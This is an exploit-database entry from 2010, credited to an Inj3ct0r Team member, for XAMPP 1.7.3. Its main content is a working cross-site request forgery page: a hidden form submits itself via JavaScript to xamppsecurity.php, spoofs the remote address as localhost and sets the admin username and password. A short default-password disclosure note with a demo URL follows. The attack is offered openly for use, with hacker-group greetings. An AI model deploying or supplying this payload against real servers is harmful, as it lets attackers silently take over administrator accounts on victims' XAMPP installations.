Xampp 1.7.3 CSRF and Password disclosure Vulnerability

🗓️ 03 Jul 2010 00:00:00Reported by Sid3^effectsType

zdt🔗 0day.today👁 28 Views

Xampp 1.7.3 CSRF and Password disclosure Vulnerability, High Critical Level, Exploit Found in Older Versio

======================================================
Xampp 1.7.3 CSRF and Password disclosure Vulnerability 
======================================================


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name :  Xampp 1.7.3 CSRF and Password disclosure Vulnerability
Date : july 3,2010
Critical Level     : HIGH
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz
#######################################################################################################
This exploit was found in the older version which seems to be unfixed in Xampp 1.7.3 also


Xploit:CSRF Vulnerability

<html>
<head><title>Xampp 1.7.3 CSRF By Sid3^effects </title>
</html>
<body><center><h1><strong>Xampp 1.7.3 CSRF By Sid3^effects </strong></h1>
<body><center><h2><strong>Inj3ct0r Team</strong></h2>
<form action='http://127.0.0.1/security/xamppsecurity.php' method='POST' id=1>
              <input type="hidden" name="_SERVER[REMOTE_ADDR]" value="127.0.0.1">
        <input type=hidden name="xamppuser" value=admin >
        <input type=hidden name="xampppasswd" value=password>
            <input type=submit>
    </form>
<script>
    document.getElementById(1).submit();
</script>

###############################################################################################################
Xploit:Password disclosure Vulnerability

XAMPP Insecure Default Password Disclosure Vulnerability allows attackers to access the password which be available by default on affected computers

Demo url : http://www.example.com/xampp/security.php

###############################################################################################################
# 0day no more
# Sid3^effects 



#  0day.today [2018-03-10]  #

03 Jul 2010 00:00Current

7.1High risk

Vulners AI Score7.1